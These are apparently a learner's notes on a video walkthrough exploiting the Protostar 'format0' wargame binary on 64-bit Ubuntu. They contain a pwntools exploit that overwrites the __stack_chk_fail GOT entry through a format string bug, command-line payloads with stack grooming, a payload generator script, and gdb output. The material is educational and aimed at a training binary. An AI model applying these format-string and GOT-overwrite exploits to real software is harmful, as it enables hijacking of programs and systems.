Security_RNRF
0x39. 본문
39. Stack grooming and 100% reliable exploit for format0 - bin.0x25
: We played with the "0x24" video to figure out how to strike against "format0" in the modern Ubuntu system.
-> I couldn't solve it after all.
-> But luckily, in "reddit," a user named "wcbowling" actually found a case of success.
-> https://gist.github.com/wbowling/fb103329997debca34ff92b97440c87b
: Now let's take a look at it.
-> POST
-> I love going back to old challenged like this :) Managed to get a fairly reliable exploit, normally under 500 iterations: https://gist.github.com/wbowling/fb103329997debca34ff92b97440c87b
-> format0.py
-> #!/usr/bin/env python2
"""
1. Overwrite the GOT entry for __stack_chk_fail with 0x40061a so we jump there instead. # is called when stack /cookie/canary gets overwritten
# Overwrite the GOT entry for __stack_chk_fail with an address so we jump there instead.
2. The address can be passed in via argv, we cant use nulls but we can use blank strings instead.
# The address can be passed in via argv, we cant use nulls but we can use blank strings instead.
3. As the argv location is semi random, it takes around 500 iterations which is pretty reasonable for 64bit
# As the argv location is semi random, it takes around 500 iterations which is pretty for 64bit.
"""
-> There is a high level of explanation of how it works.
from pwn import * # pwnlib
context.log_level = "warn"
payload = "a"*6 + "%262$hhn" + "a"*(0x1a-6) + "%263$hhn" # %262$hhn = 1 byte & %263$hhn = 1 byte
payload = payload.ljust(90, "a")
def exploit():
line = p.recvline()
if "correctly" in line:
print line
exit()
if __name__ == "__main__":
name = "./format0"
i = 0
while True: # Loop forever
i += 1
print i
try:
p = process([name, payload, p64(0x601021)[:3], "", "", "", "", p64(0x601020)[:3], "", "", "", "", "", "a"*4], env={}) # empty strings “0x00”
exploit()
except Exception as e:
p.close()
-> So obviously I didn’t manage to figure that out, which means I didn’t know something and here is a learning opportunity for me.
-> So I’m not going to pretend I knew this.
-> For whatever reason I never noticed that "__stack_chk_fail" is in the global offset table.
-> And the reason for that might be, that I never encountered a challenge with these.
-> We have A) a format string exploit that generally allows us to write anything anywhere.
-> B) No libc function after the format string vuln that we could overwrite in the global offset table.
-> And C) where we also have a buffer overflow with a stack cookie.
: So I really like this challenge now, because the solution is so clever.
-> So the function that is being called when the stack cookie got overwritten through a buffer overflow is also on the global offset table.
-> Which means our goal is to redirect code execution to our winning message by overwrite the entry for "__stack_chk_fail".
-> And then do a buffer overflow, to trigger that function.
-> To write to that global offset table entry, we have to get the address somewhere onto the stack, so that we can use "%n" with the format string vulnerability.
-> And the issue is that it contains "null" bytes which we can’t pass in via the arguments.
: I think the arguments are string copied onto the stack?
-> So we can’t enter arbitrary "null" bytes.
-> But "wcbowling" had a cool trick with empty strings as arguments.
-> Because a string ends with a "null" byte, so an empty string is just "null".(2)
-> “ABC” == 41 42 43 00
-> “” == 00
-> I think I had a super early video to talk about the environment and arguments on the stack, but quick recap, you have the "argv[]" char pointer array, so it’s a list with addresses that point to the strings.
-> And then you just have memory with all the strings.
-> And so this way you can get the address with null-bytes on to the stack.
-> Pretty clever, I never thought about this before.
: Now you basically just have to put everything together.
-> "Wcbowling" uses "pwnlib" to implement the exploit, it’s a very useful "python library", check it out.
-> And so here the magic format string is built with a large offset into the stack that hopefully hits the addresses passed in via the arguments.
-> And so there are two single byte writes.
: Why are only two bytes written?
-> The "GOT" already contains an address that is almost the target address, except the last two bytes.
-> “__stack_chk_fail@GOT”
0x601020: 0x4004d6 -> # almost winning address.
-> So you can just reuse most of it.
-> Then this is being executed in a loop until the winning message is shown.
-> The stack has some randomized offsets, thus you have to try it a few times.
: Here is the “asciicinema” recording by “wcbowling”.
-> So while I understand now the basic idea, I still wanted to implement it myself.
-> We have some challenges to solve.
: What is a good offset for the stack?
-> "%262$hhn” & "%263$hhn"
-> How to get this offset?
-> Use arguments and sort addresses through arguments.
-> p64(0x601021)[:3], "", "", "", "", p64(0x601020)[:3], "", "", "", "", "",
-> Will it be 8 bytes aligned?
: I actually found a 100% reliable exploit for this challenge, and you can’t believe how excited that makes me.
-> Though I have to admit, that it might only work on my compiled binary, and for somebody else it might not work, you will see in a second why.
-> Here it is. That’s all.
-> /root/format0 "%1640d`echo -en '\x20\x10\x60'`%214\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" """" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" A # “%1640d” : padding & `echo -en '\x20\x10\x60'` : raw byte address to write to & %214\$hn : write 2 bytes
(ERROR)
-> And when we execute it, you can see it gets into an execution loop of the winning message.
-> And while it looks like a simple format string vulnerability with the padding to increase the amount of printed characters, an address and a "%n" or "%hn" to write to an address, are quite a few beautiful puzzle pieces here.
-> So the basic idea came, when I was playing around with overwriting the “GOT” entry for "__stack_check_fail".
: "wcbowling" had two writes and placed the address in the arguments, which made it so unreliable.
-> "%262$hhn” & "%263$hhn"
-> “%hhn” : write 1 byte
-> “%hn” : write 2 byte
-> I thought, maybe we get lucky if we place the address into our string, like I did in the last video.
: But there is one problem.
-> The string that is printed is coming from the arguments, which has an unpredictable position.
-> format0.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln(char *string)
{
volatile int target;
char buffer[64]; # written to
target = 0;
sprintf(buffer, string); # “%1640d” : 1640 characters printed/written into buffer[]
# and write “__stack_chk_fail@GOT” into buffer[]
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]); # arguments : they are on the stack but randomized offset
}
-> But the string is formatted with "sprintf" into a buffer, which will have a fixed relative position on our stack.
-> So basically the format string will be evaluated, so first it handles the “%d” with the "1640" character padding and places it into the buffer.
-> Then comes the raw bytes of the address, and places it.
-> And then comes the format modifier to write to an address on the stack.
-> So now the position of this address that was just written onto the buffer is at a fixed offset location and we always get it with "214".
-> Though the problem is, we can’t have an arbitrary amount of bytes padding.
-> Because the address has to be 8byte alligned.
-> So we can only increase or decrease the padding in "8" byte steps.
-> Which affects the amounts of bytes we can write. With "%n".
-> It’s always in these “8” steps.
-> So we don’t have an write anything condition, but we can write something close to the address.
: Now there are two challenges.
-> First, the stack is fairly small, and the format result is written into buffer on the stack, so if we use too much padding, to write a large number with "%n", we run out of memory and get a "segfault".
-> char buffer[64]; # stack is relatively small
-> “%1640d” # too Large? doesn’t fit on stack?
-> But wcbowling’s trick has made me realize, that we can in fact increase the size of the stack by just using more arguments.
-> It will add entries to the argv array and increase it.
-> The second problem is, that the address is only written with “3” bytes, so if the location on the stack had other values in it, it won’t work.
-> `echo -en '\x20\x10\x60'` # address written with 3 bytes : 601020
-> We need to write our address onto the stack where there was a "0", or generally a small number before.
-> And here is also where the arguments help us again, because we can groom the stack, by adding or remove entries in the "argv" array, so that the stack is large enough, and we have a "0" at the correct spot.
: So now we know how to groom the stack to write to the "GOT" entry, but we still have the issue that we are not sure what to write because of our multiples of "8" restrictions.
-> I wrote a simple python function that generates me valid exploit arguments with different paddings and adjusts the amount of arguments and the write offset accordingly.
-> vim format0.py
def payload(o):
a = """r "%{}d`echo -en '\\x20\\x10\\x60'`%{}\$hn" {}ABCDEFGHIJKLMNOPQRSTUVWXYZ"""
return a.format((1368)+(o*8), 180+o, "\"\" "*(125+o))
for i in range(28, 50):
print 'offset: {}'.format(i)
print payload(i)
-> python format0.py
offset: 28
r "%1592d`echo -en '\x20\x10\x60'`%208\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 29
r "%1600d`echo -en '\x20\x10\x60'`%209\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 30
r "%1608d`echo -en '\x20\x10\x60'`%210\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 31
r "%1616d`echo -en '\x20\x10\x60'`%211\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 32
r "%1624d`echo -en '\x20\x10\x60'`%212\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 33
r "%1632d`echo -en '\x20\x10\x60'`%213\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 34
r "%1640d`echo -en '\x20\x10\x60'`%214\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 35
r "%1648d`echo -en '\x20\x10\x60'`%215\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 36
r "%1656d`echo -en '\x20\x10\x60'`%216\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 37
r "%1664d`echo -en '\x20\x10\x60'`%217\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 38
r "%1672d`echo -en '\x20\x10\x60'`%218\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 39
r "%1680d`echo -en '\x20\x10\x60'`%219\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 40
r "%1688d`echo -en '\x20\x10\x60'`%220\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 41
r "%1696d`echo -en '\x20\x10\x60'`%221\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 42
r "%1704d`echo -en '\x20\x10\x60'`%222\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 43
r "%1712d`echo -en '\x20\x10\x60'`%223\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 44
r "%1720d`echo -en '\x20\x10\x60'`%224\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 45
r "%1728d`echo -en '\x20\x10\x60'`%225\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 46
r "%1736d`echo -en '\x20\x10\x60'`%226\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 47
r "%1744d`echo -en '\x20\x10\x60'`%227\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 48
r "%1752d`echo -en '\x20\x10\x60'`%228\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
offset: 49
r "%1760d`echo -en '\x20\x10\x60'`%229\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" ABCDEFGHIJKLMNOPQRSTUVWXYZ
-> And I started by looking around the printing of the winning message.
-> gdb format0
-> r
-> disassemble vuln
Dump of assembler code for function vuln:
0x00005555555546fa <+0>: push %rbp
0x00005555555546fb <+1>: mov %rsp,%rbp
0x00005555555546fe <+4>: sub $0x70,%rsp
0x0000555555554702 <+8>: mov %rdi,-0x68(%rbp)
0x0000555555554706 <+12>: mov %fs:0x28,%rax
0x000055555555470f <+21>: mov %rax,-0x8(%rbp)
0x0000555555554713 <+25>: xor %eax,%eax
0x0000555555554715 <+27>: movl $0x0,-0x54(%rbp)
0x000055555555471c <+34>: mov -0x68(%rbp),%rdx
0x0000555555554720 <+38>: lea -0x50(%rbp),%rax
0x0000555555554724 <+42>: mov %rdx,%rsi
0x0000555555554727 <+45>: mov %rax,%rdi
0x000055555555472a <+48>: mov $0x0,%eax
0x000055555555472f <+53>: callq 0x5555555545d0 <sprintf@plt>
0x0000555555554734 <+58>: mov -0x54(%rbp),%eax
0x0000555555554737 <+61>: cmp $0xdeadbeef,%eax
0x000055555555473c <+66>: jne 0x55555555474a <vuln+80>
0x000055555555473e <+68>: lea 0xd3(%rip),%rdi # 0x555555554818 # perfect location & print winning message
0x0000555555554745 <+75>: callq 0x5555555545b0 <puts@plt> # print winning message
0x000055555555474a <+80>: nop
0x000055555555474b <+81>: mov -0x8(%rbp),%rax
0x000055555555474f <+85>: xor %fs:0x28,%rax
0x0000555555554758 <+94>: je 0x55555555475f <vuln+101>
0x000055555555475a <+96>: callq 0x5555555545c0 <__stack_chk_fail@plt>
0x000055555555475f <+101>: leaveq
0x0000555555554760 <+102>: retq
End of assembler dump.
-> So ideally we would like to write "0x670", that’s "1648", but becuase of our alignment that doesn’t work.
-> “0x670” = “1648”
-> Anyway, I was then just trying them, to see if anything interesting would come from it.
-> And luckily this one worked.
-> Let me debug this with gdb, I set a breakpoint after the sprintf, before we check the stack cookie.
-> break *0x000055555555475a
-> r "%1640d`echo -en '\x20\x10\x60'`%214\$hn" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" """" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" "" A # “%1640d + \x20\x10\x60” = 1640 + 3
(8:42)
-> Let’s look at the stack.
-> x/32gx $rsp
(8:45)
-> So this is the "%d" padding with spaces, to print the amount of characters we want to write to.
-> x/32gx $rsp
(8:54)
-> And then here at the end is the target address we want to write to.
-> The GOT address.
(8:57) -> x/gx 0x…
# this was written “1643”.
-> We can also look now what value has been written there.
-> So we will jump to “0x40066b”.
-> disassemble 0x40066b
(9:08)
: Let’s look at the disassembly and see where that would be. 66b.
-> wait! That is not a valid address, this is not right?
-> It’s in between the compare and the jump-not-equal.
: Let’s use x to print 3 instructions, instead of the disassemble command.
-> x/3i 0x40066b
(9:19) # wtf?
-> Do you see that. WTF there are now moves, and not a cmp?
: Welcome to intel assembler and more advanced “ROP”.
-> This kind of property was called the “geometry” of intel assembler, in the famous “ROP”, but never heard anybody using that term.
-> Anyway, we jump in between the bytes of the intended instruction, and the CPU is dumb, it will just read those bytes and interpret them as assembler.
(9:46) -> x/4i 0x400669
-> x/16b 0x400669
# inteneded start
-> x/4b 0x40066b
# CPU interprets from here
-> And so in this case, the "cmp" and "jne" turned into two simple moves.(9:59)
-> Which means, now there is no check for “deadbeef” and we run into the “printf” to print the message.
-> si
(10:15)
-> (Enter Key)
(10:17)
-> (Enter Key)
-> (Enter Key)
-> c
-> When we single step forward now, we get into the procedure linkage table for “stack_check_fail”, we jump to the “GOT” entry, which is our weird address into vuln, we execute the “mov”, and then we call “puts” to print the message.
: Solve
-> Overwrite the GOT entry for __stack_chk_fail with 0x40061a so we jump there instead.
The address can be passed in via argv, we cant use nulls but we can use blank strings instead.
As the argv location is semi random, it takes around 500 iterations which is pretty reasonable for 64bit
: Constraints
a) format string vuln, wirte anything and anywhere.
b) no other Libc function after.
c) buffer overflow + stack cookies (trigger __stack_chk_fail)
-> Which means our goal is to redirect code execution to our winning message by overwrite the GOT.
: Exploit Code(Python Code)
from pwn import *
context.log_level = "warn"
payload = "a"*6 + "%262$hhn" + "a"*(0x1a-6) + "%263$hhn"
payload = payload.ljust(90, "a")
def exploit():
line = p.recvline()
if "correctly" in line:
print line
exit()
if __name__ == "__main__":
name = "./format0"
i = 0
while True:
i += 1
print i
try:
p = process([name, payload, p64(0x601021)[:3], "", "", "", "", p64(0x601020)[:3], "", "", "", "", "", "a"*4], env={})
exploit()
except Exception as e:
p.close()
: Exploit the format0(/opt/protostar/bin/format0)
